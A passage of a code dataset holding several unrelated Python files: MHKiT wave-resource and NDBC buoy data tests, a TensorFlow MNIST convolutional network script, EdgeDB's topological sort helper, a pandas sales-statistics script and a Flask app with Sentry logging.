wave.resource.frequency_moment(Sn,0).m0.values[0]\n errorm0 = np.abs((m0 - m0n)/m0)\n\n self.assertLess(errorm0, 0.01)\n\n m1 = wave.resource.frequency_moment(S,1).m1.values[0]\n m1n = wave.resource.frequency_moment(Sn,1).m1.values[0]\n errorm1 = np.abs((m1 - m1n)/m1)\n\n self.assertLess(errorm1, 0.01)\n\n def test_surface_elevation_rmse(self):\n S = wave.resource.jonswap_spectrum(self.f, self.Tp, self.Hs)\n eta = wave.resource.surface_elevation(S, self.t)\n dt = self.t[1] - self.t[0]\n Sn = wave.resource.elevation_spectrum(eta, 1/dt, len(eta), \n detrend=False, window='boxcar',\n noverlap=0)\n\n fSn = interp1d(Sn.index.values, Sn.values, axis=0)\n rmse = (S.values - fSn(S.index.values))**2\n rmse_sum = (np.sum(rmse)/len(rmse))**0.5\n\n self.assertLess(rmse_sum, 0.02)\n \n def test_jonswap_spectrum(self):\n S = wave.resource.jonswap_spectrum(self.f, self.Tp, self.Hs)\n Hm0 = wave.resource.significant_wave_height(S).iloc[0,0]\n Tp0 = wave.resource.peak_period(S).iloc[0,0]\n \n errorHm0 = np.abs(self.Tp - Tp0)/self.Tp\n errorTp0 = np.abs(self.Hs - Hm0)/self.Hs\n \n self.assertLess(errorHm0, 0.01)\n self.assertLess(errorTp0, 0.01)\n \n def test_plot_spectrum(self): \n filename = abspath(join(testdir, 'wave_plot_spectrum.png'))\n if isfile(filename):\n os.remove(filename)\n \n S = wave.resource.pierson_moskowitz_spectrum(self.f,self.Tp)\n \n plt.figure()\n wave.graphics.plot_spectrum(S)\n plt.savefig(filename, format='png')\n plt.close()\n \n self.assertTrue(isfile(filename))\n\n def test_plot_chakrabarti(self): \n filename = abspath(join(testdir, 'wave_plot_chakrabarti.png'))\n if isfile(filename):\n os.remove(filename)\n \n D = 5\n H = 10\n lambda_w = 200\n\n wave.graphics.plot_chakrabarti(H, lambda_w, D)\n plt.savefig(filename)\n\n def test_plot_chakrabarti_np(self): \n filename = abspath(join(testdir, 'wave_plot_chakrabarti_np.png'))\n if isfile(filename):\n os.remove(filename)\n \n D = np.linspace(5, 15, 5)\n H = 10 * np.ones_like(D)\n lambda_w = 200 * np.ones_like(D)\n\n wave.graphics.plot_chakrabarti(H, lambda_w, D)\n plt.savefig(filename)\n \n self.assertTrue(isfile(filename))\n\n def test_plot_chakrabarti_pd(self): \n filename = abspath(join(testdir, 'wave_plot_chakrabarti_pd.png'))\n if isfile(filename):\n os.remove(filename)\n \n D = np.linspace(5, 15, 5)\n H = 10 * np.ones_like(D)\n lambda_w = 200 * np.ones_like(D)\n df = pd.DataFrame([H.flatten(),lambda_w.flatten(),D.flatten()],\n index=['H','lambda_w','D']).transpose()\n\n wave.graphics.plot_chakrabarti(df.H, df.lambda_w, df.D)\n plt.savefig(filename)\n \n self.assertTrue(isfile(filename))\n \n\nclass TestResourceMetrics(unittest.TestCase):\n\n @classmethod\n def setUpClass(self):\n file_name = join(datadir, 'ValData1.json')\n with open(file_name, \"r\") as read_file:\n self.valdata1 = pd.DataFrame(json.load(read_file))\n \n self.valdata2 = {}\n\n file_name = join(datadir, 'ValData2_MC.json')\n with open(file_name, \"r\") as read_file:\n data = json.load(read_file)\n self.valdata2['MC'] = data\n for i in data.keys():\n # Calculate elevation spectra\n elevation = pd.DataFrame(data[i]['elevation'])\n elevation.index = elevation.index.astype(float)\n elevation.sort_index(inplace=True)\n sample_rate = data[i]['sample_rate']\n NFFT = data[i]['NFFT']\n self.valdata2['MC'][i]['S'] = wave.resource.elevation_spectrum(elevation, \n sample_rate, NFFT)\n\n file_name = join(datadir, 'ValData2_AH.json')\n with open(file_name, \"r\") as read_file:\n data = json.load(read_file)\n self.valdata2['AH'] = data\n for i in data.keys():\n # Calculate elevation spectra\n elevation = pd.DataFrame(data[i]['elevation'])\n elevation.index = elevation.index.astype(float)\n elevation.sort_index(inplace=True)\n sample_rate = data[i]['sample_rate']\n NFFT = data[i]['NFFT']\n self.valdata2['AH'][i]['S'] = wave.resource.elevation_spectrum(elevation, \n sample_rate, NFFT)\n \n file_name = join(datadir, 'ValData2_CDiP.json') \n with open(file_name, \"r\") as read_file:\n data = json.load(read_file)\n self.valdata2['CDiP'] = data\n for i in data.keys():\n temp = pd.Series(data[i]['S']).to_frame('S')\n temp.index = temp.index.astype(float)\n self.valdata2['CDiP'][i]['S'] = temp\n\n \n @classmethod\n def tearDownClass(self):\n pass\n\n def test_kfromw(self):\n for i in self.valdata1.columns:\n f = np.array(self.valdata1[i]['w'])/(2*np.pi)\n h = self.valdata1[i]['h']\n rho = self.valdata1[i]['rho']\n \n expected = self.valdata1[i]['k']\n calculated = wave.resource.wave_number(f, h, rho).loc[:,'k'].values\n error = ((expected-calculated)**2).sum() # SSE\n \n self.assertLess(error, 1e-6)\n \n def test_moments(self):\n for file_i in self.valdata2.keys(): # for each file MC, AH, CDiP\n datasets = self.valdata2[file_i]\n for s in datasets.keys(): # for each set\n data = datasets[s]\n for m in data['m'].keys():\n expected = data['m'][m]\n S = data['S']\n if s == 'CDiP1' or s == 'CDiP6':\n f_bins=pd.Series(data['freqBinWidth']) \n else: \n f_bins = None\n\n calculated = wave.resource.frequency_moment(S, int(m)\n ,frequency_bins=f_bins).iloc[0,0]\n error = np.abs(expected-calculated)/expected\n \n self.assertLess(error, 0.01) \n\n \n\n def test_metrics(self):\n for file_i in self.valdata2.keys(): # for each file MC, AH, CDiP\n datasets = self.valdata2[file_i]\n \n for s in datasets.keys(): # for each set\n \n \n data = datasets[s]\n S = data['S']\n if file_i == 'CDiP':\n f_bins=pd.Series(data['freqBinWidth'])\n else: \n f_bins = None\n \n # Hm0\n expected = data['metrics']['Hm0']\n calculated = wave.resource.significant_wave_height(S,\n frequency_bins=f_bins).iloc[0,0]\n error = np.abs(expected-calculated)/expected\n #print('Hm0', expected, calculated, error)\n self.assertLess(error, 0.01) \n\n # Te\n expected = data['metrics']['Te']\n calculated = wave.resource.energy_period(S,\n frequency_bins=f_bins).iloc[0,0]\n error = np.abs(expected-calculated)/expected\n #print('Te', expected, calculated, error)\n self.assertLess(error, 0.01) \n \n # T0\n expected = data['metrics']['T0']\n calculated = wave.resource.average_zero_crossing_period(S,\n frequency_bins=f_bins).iloc[0,0]\n error = np.abs(expected-calculated)/expected\n #print('T0', expected, calculated, error)\n self.assertLess(error, 0.01) \n\n # Tc\n expected = data['metrics']['Tc']\n calculated = wave.resource.average_crest_period(S,\n # Tc = Tavg**2\n frequency_bins=f_bins).iloc[0,0]**2 \n error = np.abs(expected-calculated)/expected\n #print('Tc', expected, calculated, error)\n self.assertLess(error, 0.01) \n\n # Tm\n expected = np.sqrt(data['metrics']['Tm'])\n calculated = wave.resource.average_wave_period(S,\n frequency_bins=f_bins).iloc[0,0]\n error = np.abs(expected-calculated)/expected\n #print('Tm', expected, calculated, error)\n self.assertLess(error, 0.01) \n \n # Tp\n expected = data['metrics']['Tp']\n calculated = wave.resource.peak_period(S).iloc[0,0]\n error = np.abs(expected-calculated)/expected\n #print('Tp', expected, calculated, error)\n self.assertLess(error, 0.001) \n \n # e\n expected = data['metrics']['e']\n calculated = wave.resource.spectral_bandwidth(S,\n frequency_bins=f_bins).iloc[0,0]\n error = np.abs(expected-calculated)/expected\n #print('e', expected, calculated, error)\n self.assertLess(error, 0.001) \n\n # v\n if file_i == 'CDiP': \n # this should be updated to run on other datasets\n expected = data['metrics']['v'] \n calculated = wave.resource.spectral_width(S,\n frequency_bins=f_bins).iloc[0,0]\n error = np.abs(expected-calculated)/expected\n\n \n self.assertLess(error, 0.01) \n\n if file_i == 'MC':\n expected = data['metrics']['v']\n # testing that default uniform frequency bin widths works \n calculated = wave.resource.spectral_width(S).iloc[0,0] \n error = np.abs(expected-calculated)/expected\n\n \n self.assertLess(error, 0.01)\n\n \n def test_plot_elevation_timeseries(self): \n filename = abspath(join(testdir, 'wave_plot_elevation_timeseries.png'))\n if isfile(filename):\n os.remove(filename)\n \n data = self.valdata2['MC']\n temp = pd.DataFrame(data[list(data.keys())[0]]['elevation'])\n temp.index = temp.index.astype(float)\n temp.sort_index(inplace=True)\n eta = temp.iloc[0:100,:]\n \n plt.figure()\n wave.graphics.plot_elevation_timeseries(eta)\n plt.savefig(filename, format='png')\n plt.close()\n \n self.assertTrue(isfile(filename))\n\n\nclass TestResourceContours(unittest.TestCase):\n\n @classmethod\n def setUpClass(self):\n \n f_name= 'Hm0_Te_46022.json'\n self.Hm0Te = pd.read_json(join(datadir,f_name))\n \n\n with open(join(datadir, 'principal_component_analysis.pkl'), 'rb') as f:\n self.pca = pickle.load(f) \n\n \n \n @classmethod\n def tearDownClass(self):\n pass\n \n def test_environmental_contour(self):\n \n Hm0Te = self.Hm0Te\n df = Hm0Te[Hm0Te['Hm0'] < 20]\n \n Hm0 = df.Hm0.values \n Te = df.Te.values \n \n dt_ss = (Hm0Te.index[2]-Hm0Te.index[1]).seconds \n time_R = 100 \n \n Hm0_contour, Te_contour = wave.resource.environmental_contour(Hm0, Te, \n dt_ss, time_R)\n \n expected_contours = pd.read_csv(join(datadir,'Hm0_Te_contours_46022.csv'))\n assert_allclose(expected_contours.Hm0_contour.values, Hm0_contour, rtol=1e-3)\n \n def test__principal_component_analysis(self):\n Hm0Te = self.Hm0Te\n df = Hm0Te[Hm0Te['Hm0'] < 20]\n \n Hm0 = df.Hm0.values \n Te = df.Te.values \n PCA = wave.resource._principal_component_analysis(Hm0,Te, bin_size=250)\n \n assert_allclose(PCA['principal_axes'], self.pca['principal_axes'])\n self.assertAlmostEqual(PCA['shift'], self.pca['shift'])\n self.assertAlmostEqual(PCA['x1_fit'], self.pca['x1_fit'])\n self.assertAlmostEqual(PCA['mu_fit'].slope, self.pca['mu_fit'].slope)\n self.assertAlmostEqual(PCA['mu_fit'].intercept, self.pca['mu_fit'].intercept)\n assert_allclose(PCA['sigma_fit']['x'], self.pca['sigma_fit']['x'])\n \n def test_plot_environmental_contour(self):\n filename = abspath(join(testdir, 'wave_plot_environmental_contour.png'))\n if isfile(filename):\n os.remove(filename)\n \n Hm0Te = self.Hm0Te\n df = Hm0Te[Hm0Te['Hm0'] < 20]\n \n Hm0 = df.Hm0.values \n Te = df.Te.values \n \n dt_ss = (Hm0Te.index[2]-Hm0Te.index[1]).seconds \n time_R = 100 \n \n Hm0_contour, Te_contour = wave.resource.environmental_contour(Hm0, Te, \n dt_ss, time_R)\n \n plt.figure()\n wave.graphics.plot_environmental_contour(Te, Hm0,\n Te_contour, Hm0_contour,\n data_label='NDBC 46022',\n contour_label='100-year Contour',\n x_label = 'Te [s]',\n y_label = 'Hm0 [m]')\n plt.savefig(filename, format='png')\n plt.close()\n \n self.assertTrue(isfile(filename)) \n\n def test_plot_environmental_contour_multiyear(self):\n filename = abspath(join(testdir, \n 'wave_plot_environmental_contour_multiyear.png'))\n if isfile(filename):\n os.remove(filename)\n \n Hm0Te = self.Hm0Te\n df = Hm0Te[Hm0Te['Hm0'] < 20]\n \n Hm0 = df.Hm0.values \n Te = df.Te.values \n \n dt_ss = (Hm0Te.index[2]-Hm0Te.index[1]).seconds \n\n time_R = np.array([100, 105, 110, 120, 150])\n \n Hm0_contour, Te_contour = wave.resource.environmental_contour(Hm0, Te, \n dt_ss, time_R)\n \n contour_label = [f'{year}-year Contour' for year in time_R]\n plt.figure()\n wave.graphics.plot_environmental_contour(Te, Hm0,\n Te_contour, Hm0_contour,\n data_label='NDBC 46022',\n contour_label=contour_label,\n x_label = 'Te [s]',\n y_label = 'Hm0 [m]')\n plt.savefig(filename, format='png')\n plt.close()\n \n self.assertTrue(isfile(filename)) \n \n \nclass TestPerformance(unittest.TestCase):\n\n @classmethod\n def setUpClass(self):\n np.random.seed(123)\n Hm0 = np.random.rayleigh(4, 100000)\n Te = np.random.normal(4.5, .8, 100000)\n P = np.random.normal(200, 40, 100000)\n J = np.random.normal(300, 10, 100000)\n \n self.data = pd.DataFrame({'Hm0': Hm0, 'Te': Te, 'P': P,'J': J})\n self.Hm0_bins = np.arange(0,19,0.5)\n self.Te_bins = np.arange(0,9,1)\n\n @classmethod\n def tearDownClass(self):\n pass\n \n def test_capture_length(self):\n L = wave.performance.capture_length(self.data['P'], self.data['J'])\n L_stats = wave.performance.statistics(L)\n \n self.assertAlmostEqual(L_stats['mean'], 0.6676, 3)\n \n def test_capture_length_matrix(self):\n L = wave.performance.capture_length(self.data['P'], self.data['J'])\n LM = wave.performance.capture_length_matrix(self.data['Hm0'], self.data['Te'], \n L, 'std', self.Hm0_bins, self.Te_bins)\n \n self.assertEqual(LM.shape, (38,9))\n self.assertEqual(LM.isna().sum().sum(), 131)\n \n def test_wave_energy_flux_matrix(self):\n JM = wave.performance.wave_energy_flux_matrix(self.data['Hm0'], self.data['Te'], \n self.data['J'], 'mean', self.Hm0_bins, self.Te_bins)\n \n self.assertEqual(JM.shape, (38,9))\n self.assertEqual(JM.isna().sum().sum(), 131)\n \n def test_power_matrix(self):\n L = wave.performance.capture_length(self.data['P'], self.data['J'])\n LM = wave.performance.capture_length_matrix(self.data['Hm0'], self.data['Te'], \n L, 'mean', self.Hm0_bins, self.Te_bins)\n JM = wave.performance.wave_energy_flux_matrix(self.data['Hm0'], self.data['Te'], \n self.data['J'], 'mean', self.Hm0_bins, self.Te_bins)\n PM = wave.performance.power_matrix(LM, JM)\n \n self.assertEqual(PM.shape, (38,9))\n self.assertEqual(PM.isna().sum().sum(), 131)\n \n def test_mean_annual_energy_production(self):\n L = wave.performance.capture_length(self.data['P'], self.data['J'])\n maep = wave.performance.mean_annual_energy_production_timeseries(L, self.data['J'])\n\n self.assertAlmostEqual(maep, 1754020.077, 2)\n \n \n def test_plot_matrix(self):\n filename = abspath(join(testdir, 'wave_plot_matrix.png'))\n if isfile(filename):\n os.remove(filename)\n \n M = wave.performance.wave_energy_flux_matrix(self.data['Hm0'], self.data['Te'], \n self.data['J'], 'mean', self.Hm0_bins, self.Te_bins)\n \n plt.figure()\n wave.graphics.plot_matrix(M)\n plt.savefig(filename, format='png')\n plt.close()\n \n self.assertTrue(isfile(filename))\n \nclass TestIOndbc(unittest.TestCase):\n\n @classmethod\n def setUpClass(self):\n self.expected_columns_metRT = ['WDIR', 'WSPD', 'GST', 'WVHT', 'DPD', \n 'APD', 'MWD', 'PRES', 'ATMP', 'WTMP', 'DEWP', 'VIS', 'PTDY', 'TIDE']\n self.expected_units_metRT = {'WDIR': 'degT', 'WSPD': 'm/s', 'GST': 'm/s', \n 'WVHT': 'm', 'DPD': 'sec', 'APD': 'sec', 'MWD': 'degT', 'PRES': 'hPa', \n 'ATMP': 'degC', 'WTMP': 'degC', 'DEWP': 'degC', 'VIS': 'nmi', \n 'PTDY': 'hPa', 'TIDE': 'ft'}\n \n self.expected_columns_metH = ['WDIR', 'WSPD', 'GST', 'WVHT', 'DPD', \n 'APD', 'MWD', 'PRES', 'ATMP', 'WTMP', 'DEWP', 'VIS', 'TIDE']\n self.expected_units_metH = {'WDIR': 'degT', 'WSPD': 'm/s', 'GST': 'm/s', \n 'WVHT': 'm', 'DPD': 'sec', 'APD': 'sec', 'MWD': 'deg', 'PRES': 'hPa', \n 'ATMP': 'degC', 'WTMP': 'degC', 'DEWP': 'degC', 'VIS': 'nmi', \n 'TIDE': 'ft'}\n self.filenames=['46042w1996.txt.gz', \n '46029w1997.txt.gz', \n '46029w1998.txt.gz']\n self.swden = pd.read_csv(join(datadir,self.filenames[0]), sep=r'\\s+', \n compression='gzip')\n \n @classmethod\n def tearDownClass(self):\n pass\n \n ### Realtime data\n def test_ndbc_read_realtime_met(self):\n data, units = wave.io.ndbc.read_file(join(datadir, '46097.txt'))\n expected_index0 = datetime(2019,4,2,13,50)\n self.assertSetEqual(set(data.columns), set(self.expected_columns_metRT))\n self.assertEqual(data.index[0], expected_index0)\n self.assertEqual(data.shape, (6490, 14))\n self.assertEqual(units,self.expected_units_metRT)\n \n ### Historical data\n def test_ndbnc_read_historical_met(self):\n # QC'd monthly data, Aug 2019\n data, units = wave.io.ndbc.read_file(join(datadir, '46097h201908qc.txt'))\n expected_index0 = datetime(2019,8,1,0,0)\n self.assertSetEqual(set(data.columns), set(self.expected_columns_metH))\n self.assertEqual(data.index[0], expected_index0)\n self.assertEqual(data.shape, (4464, 13))\n self.assertEqual(units,self.expected_units_metH)\n \n ### Spectral data\n def test_ndbc_read_spectral(self):\n data, units = wave.io.ndbc.read_file(join(datadir, 'data.txt'))\n self.assertEqual(data.shape, (743, 47))\n self.assertEqual(units, None)\n\t\t\n def test_ndbc_available_data(self):\n data=wave.io.ndbc.available_data('swden', buoy_number='46029')\n \n cols = data.columns.tolist()\n exp_cols = ['id', 'year', 'filename']\n self.assertEqual(cols, exp_cols) \n \n years = [int(year) for year in data.year.tolist()]\n exp_years=[*range(1996,1996+len(years))]\n self.assertEqual(years, exp_years)\n self.assertEqual(data.shape, (len(data), 3))\n\n def test__ndbc_parse_filenames(self): \n filenames= pd.Series(self.filenames)\n buoys = wave.io.ndbc._parse_filenames('swden', filenames)\n years = buoys.year.tolist()\n numbers = buoys.id.tolist()\n fnames = buoys.filename.tolist()\n \n self.assertEqual(buoys.shape, (len(filenames),3)) \n self.assertListEqual(years, ['1996','1997','1998']) \n self.assertListEqual(numbers, ['46042','46029','46029']) \n self.assertListEqual(fnames, self.filenames)\n \n def test_ndbc_request_data(self):\n filenames= pd.Series(self.filenames[0])\n ndbc_data = wave.io.ndbc.request_data('swden', filenames)\n self.assertTrue(self.swden.equals(ndbc_data['1996']))\n\n def test_ndbc_request_data_from_dataframe(self):\n filenames= pd.DataFrame(pd.Series(data=self.filenames[0]))\n ndbc_data = wave.io.ndbc.request_data('swden', filenames)\n assert_frame_equal(self.swden, ndbc_data['1996'])\n\n def test_ndbc_request_data_filenames_length(self):\n with self.assertRaises(AssertionError): \n wave.io.ndbc.request_data('swden', pd.Series(dtype=float)) \n\n def test_ndbc_to_datetime_index(self):\n dt = wave.io.ndbc.to_datetime_index('swden', self.swden) \n self.assertEqual(type(dt.index), pd.DatetimeIndex)\n self.assertFalse({'YY','MM','DD','hh'}.issubset(dt.columns)) \n\n def test_ndbc_request_data_empty_file(self):\n temp_stdout = StringIO()\n # known empty file. If NDBC replaces, this test may fail. \n filename = \"42008h1984.txt.gz\" \n buoy_id='42008'\n year = '1984'\n with contextlib.redirect_stdout(temp_stdout):\n wave.io.ndbc.request_data('stdmet', pd.Series(filename))\n output = temp_stdout.getvalue().strip()\n msg = (f'The NDBC buoy {buoy_id} for year {year} with ' \n f'filename {filename} is empty or missing ' \n 'data. Please omit this file from your data ' \n 'request in the future.')\n self.assertEqual(output, msg)\n\n def test_ndbc_request_multiple_files_with_empty_file(self):\n temp_stdout = StringIO()\n # known empty file. If NDBC replaces, this test may fail. \n empty_file = '42008h1984.txt.gz'\n working_file = '46042h1996.txt.gz'\n filenames = pd.Series([empty_file, working_file])\n with contextlib.redirect_stdout(temp_stdout):\n ndbc_data =wave.io.ndbc.request_data('stdmet', filenames) \n self.assertEqual(1, len(ndbc_data)) \n \n def test_ndbc_dates_to_datetime(self):\n dt = wave.io.ndbc.dates_to_datetime('swden', self.swden)\n self.assertEqual(datetime(1996, 1, 1, 1, 0), dt[1])\n \n def test_date_string_to_datetime(self):\n swden = self.swden.copy(deep=True)\n swden['mm'] = np.zeros(len(swden)).astype(int).astype(str)\n year_string='YY'\n year_fmt='%y'\n parse_columns = [year_string, 'MM', 'DD', 'hh', 'mm']\n df = wave.io.ndbc._date_string_to_datetime(swden, parse_columns, \n year_fmt) \n dt = df['date']\n self.assertEqual(datetime(1996, 1, 1, 1, 0), dt[1]) \n \n def test_parameter_units(self):\n parameter='swden'\n units = wave.io.ndbc.parameter_units(parameter)\n self.assertEqual(units[parameter], '(m*m)/Hz') \n\nclass TestWECSim(unittest.TestCase):\n\n @classmethod\n def setUpClass(self):\n pass\n \n @classmethod\n def tearDownClass(self):\n pass\n\n ### WEC-Sim data, mo mooring\n def test_read_wecSim_no_mooring(self):\n ws_output = wave.io.wecsim.read_output(join(datadir, 'RM3_matlabWorkspace_structure.mat'))\n self.assertEqual(ws_output['wave'].elevation.name,'elevation')\n self.assertEqual(ws_output['bodies']['body1'].name,'float')\n self.assertEqual(ws_output['ptos'].name,'PTO1') \n self.assertEqual(ws_output['constraints'].name,'Constraint1')\n self.assertEqual(len(ws_output['mooring']),0)\n self.assertEqual(len(ws_output['moorDyn']),0)\n self.assertEqual(len(ws_output['ptosim']),0)\n\n ### WEC-Sim data, with mooring\n def test_read_wecSim_with_mooring(self):\n ws_output = wave.io.wecsim.read_output(join(datadir, 'RM3MooringMatrix_matlabWorkspace_structure.mat'))\n self.assertEqual(ws_output['wave'].elevation.name,'elevation')\n self.assertEqual(ws_output['bodies']['body1'].name,'float')\n self.assertEqual(ws_output['ptos'].name,'PTO1') \n self.assertEqual(ws_output['constraints'].name,'Constraint1')\n self.assertEqual(len(ws_output['mooring']),40001)\n self.assertEqual(len(ws_output['moorDyn']),0)\n self.assertEqual(len(ws_output['ptosim']),0)\n \n ### WEC-Sim data, with moorDyn\n def test_read_wecSim_with_moorDyn(self):\n ws_output = wave.io.wecsim.read_output(join(datadir, 'RM3MoorDyn_matlabWorkspace_structure.mat'))\n self.assertEqual(ws_output['wave'].elevation.name,'elevation')\n self.assertEqual(ws_output['bodies']['body1'].name,'float')\n self.assertEqual(ws_output['ptos'].name,'PTO1') \n self.assertEqual(ws_output['constraints'].name,'Constraint1')\n self.assertEqual(len(ws_output['mooring']),40001)\n self.assertEqual(len(ws_output['moorDyn']),7)\n self.assertEqual(len(ws_output['ptosim']),0)\n\nif __name__ == '__main__':\n unittest.main() \n","sub_path":"mhkit/tests/test_wave.py","file_name":"test_wave.py","file_ext":"py","file_size_in_byte":31186,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"157274892","text":"import tensorflow as tf\r\n\r\ndef weight_variable(shape):\r\n initial = tf.truncated_normal(shape, stddev=0.1)\r\n return tf.Variable(initial)\r\n\r\ndef bias_variable(shape):\r\n initial = tf.constant(0.1, shape=shape)\r\n return tf.Variable(initial)\r\n\r\ndef conv2d(x, W):\r\n return tf.nn.conv2d(x, W, strides=[1, 1, 1, 1], padding='SAME')\r\n\r\ndef max_pool_2x2(x):\r\n return tf.nn.max_pool(x, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding='SAME')\r\n\r\nfrom tensorflow.examples.tutorials.mnist import input_data\r\nmnist = input_data.read_data_sets('MNIST_data', one_hot=True)\r\n\r\nsess = tf.InteractiveSession()\r\n\r\nx = tf.placeholder(tf.float32, shape=[None, 784])\r\ny_ = tf.placeholder(tf.float32, shape=[None, 10])\r\n\r\nx_image = tf.reshape(x, [-1,28,28,1])\r\nW_conv1 = weight_variable([5, 5, 1, 16])\r\nb_conv1 = bias_variable([16])\r\nh_conv1 = tf.nn.relu(conv2d(x_image, W_conv1) + b_conv1 )\r\nh_pool1 = max_pool_2x2(h_conv1)\r\n\r\nW_conv2 = weight_variable([5, 5, 16, 32])\r\nb_conv2 = bias_variable([32])\r\nh_conv2 = tf.nn.relu(conv2d(h_pool1, W_conv2) + b_conv2)\r\nh_pool2 = max_pool_2x2(h_conv2)\r\n\r\nh_pool2_flat = tf.reshape(h_pool2, [-1, 7*7*32])\r\nW_fc1 = weight_variable([7 * 7 * 32, 512])\r\nb_fc1 = bias_variable([512])\r\nh_fc1 = tf.nn.relu(tf.matmul(h_pool2_flat, W_fc1) + b_fc1)\r\nkeep_prob = tf.placeholder(tf.float32)\r\nh_fc1_drop = tf.nn.dropout(h_fc1, keep_prob)\r\n\r\nW_fc2 = weight_variable([512, 10])\r\nb_fc2 = bias_variable([10])\r\ny_conv = tf.nn.softmax(tf.matmul(h_fc1_drop, W_fc2) + b_fc2)\r\n\r\n\r\ne=0.00000001\r\ncross_entropy = tf.reduce_mean(-(y_ * tf.log(y_conv+e)+(1.0-y_)*tf.log(1.0-y_conv+e)))\r\ntrain_step = tf.train.AdamOptimizer(1e-4).minimize(cross_entropy)\r\n\r\nsess.run(tf.global_variables_initializer())\r\n\r\ncorrect_prediction = tf.equal(tf.argmax(y_conv,1), tf.argmax(y_,1))\r\naccuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))*100.0\r\n\r\ntest_x, test_y = mnist.test.next_batch(1000)\r\n\r\nfor i in range(1000):\r\n batch = mnist.train.next_batch(50)\r\n if i%100 == 0 or i==1000-1:\r\n train_accuracy = sess.run(accuracy,{x:batch[0], y_: batch[1], keep_prob: 1.0})\r\n print(\"step {0}, {1:3.1f}\".format(i,sess.run(accuracy,{x: test_x, y_: test_y, keep_prob: 1.0}))+\" %\")\r\n _=sess.run(train_step,{x: batch[0], y_: batch[1], keep_prob: 0.5})\r\n\r\n","sub_path":"CNN.py","file_name":"CNN.py","file_ext":"py","file_size_in_byte":2262,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"266915241","text":"#\n# This source file is part of the EdgeDB open source project.\n#\n# Copyright 2008-present MagicStack Inc. and the EdgeDB authors.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\n\nfrom __future__ import annotations\n\nfrom collections import defaultdict\n\nfrom edb.common.ordered import OrderedSet\n\n\nclass UnresolvedReferenceError(Exception):\n pass\n\n\nclass CycleError(Exception):\n def __init__(self, msg, path=None):\n super().__init__(msg)\n self.path = path\n\n\ndef sort(graph, *, return_record=False, allow_unresolved=False):\n adj = defaultdict(OrderedSet)\n loop_control = defaultdict(OrderedSet)\n\n for item_name, item in graph.items():\n if \"merge\" in item:\n for merge in item[\"merge\"]:\n if merge in graph:\n adj[item_name].add(merge)\n elif not allow_unresolved:\n raise UnresolvedReferenceError(\n 'reference to an undefined item {} in {}'.format(\n merge, item_name))\n\n if \"deps\" in item:\n for dep in item[\"deps\"]:\n if dep in graph:\n adj[item_name].add(dep)\n elif not allow_unresolved:\n raise UnresolvedReferenceError(\n 'reference to an undefined item {} in {}'.format(\n dep, item_name))\n\n if \"loop-control\" in item:\n for ctrl in item[\"loop-control\"]:\n if ctrl in graph:\n loop_control[item_name].add(ctrl)\n elif not allow_unresolved:\n raise UnresolvedReferenceError(\n 'reference to an undefined item {} in {}'.format(\n ctrl, item_name))\n\n visiting = OrderedSet()\n visited = set()\n sorted = []\n\n def visit(item, for_control=False):\n if item in visiting:\n raise CycleError(\n f\"dependency cycle between {list(visiting)[1]!r} \"\n f\"and {item!r}\",\n path=list(visiting)[1:],\n )\n if item not in visited:\n visiting.add(item)\n for n in adj[item]:\n visit(n)\n for n in loop_control[item]:\n visit(n, for_control=True)\n if not for_control:\n sorted.append(item)\n visited.add(item)\n visiting.remove(item)\n\n for item in graph:\n visit(item)\n\n if return_record:\n return ((item, graph[item]) for item in sorted)\n else:\n return (graph[item][\"item\"] for item in sorted)\n\n\ndef normalize(graph, merger, **merger_kwargs):\n merged = {}\n\n for name, item in sort(graph, return_record=True):\n merge = item.get(\"merge\")\n if merge:\n for m in merge:\n merger(item[\"item\"], merged[m], **merger_kwargs)\n\n merged.setdefault(name, item[\"item\"])\n\n return merged.values()\n","sub_path":"edb/common/topological.py","file_name":"topological.py","file_ext":"py","file_size_in_byte":3459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"487261547","text":"# -*- coding: utf-8 -*-\n\"\"\"\n统计相关\n\"\"\"\nimport base as B\n\ninput_file='../0_data_file/eda/catering_sale.xls'\ndf=B.in_excel(input_file,u'日期')\ndf = df[(df[\"销量\"] > 400) & (df[\"销量\"] < 5000)]\nprint(\"数据基本信息:{0}\".format(df.describe()))\ndb=df.describe()\n# 极差\ndb.loc['range']=db.loc['max'] - db.loc['min']\n#变异系数\n#在概率论和统计学中,变异系数,又称“离散系数”(英文:coefficient of variation),是概率分布离散程度的一个归一化量度,其定义为标准差与平均值之比\ndb.loc['var']=db.loc['std'] / db.loc['mean']\n# 四分位数间距\n#是描述统计学中的一种方法,以确定第三四分位数和第一四分位数的分别(即 的差距)。与方差、标准差一样,表示统计资料中各变量分散情形,但四分差更多为一种稳健统计\ndb.loc['dis']=db.loc['75%']-db.loc['25%']\nprint(\"统计后的基本信息:{0}\".format(db))\n\n","sub_path":"1_data_eda/statistics.py","file_name":"statistics.py","file_ext":"py","file_size_in_byte":941,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"476634986","text":"#!/usr/bin/env python3\n\nfrom flask import Flask\nimport logging, logging.config, yaml\n\nimport sentry_sdk\n\nfrom sentry_sdk.integrations.flask import FlaskIntegration\n\n\n\nyaml.warnings({'YAMLLoadWarning': False})\nlogging.config.dictConfig(yaml.load(open('logging.yaml')))\n\n\nlogfile = logging.getLogger('file')\nlogconsole = logging.getLogger('console')\n\nsentry_sdk.init(\n dsn=\"http://ab735704f6be4a42bd65f10c0c526cdf@172.31.101.189/2\",\n integrations=[\n FlaskIntegration(),\n ]\n)\n\napp = Flask(__name__)\n\n\n@app.route('/test')\ndef test_pass():\n logfile.debug(\"TEST\")\n logconsole.debug(\"TEST\")\n return \"TEST\"\n\n\n\n@app.route(\"/error\")\ndef error():\n logfile.error(\"ERROR\")\n logconsole.error(\"ERROR\")\n return \"a\" / 2\n\n\nif __name__ == 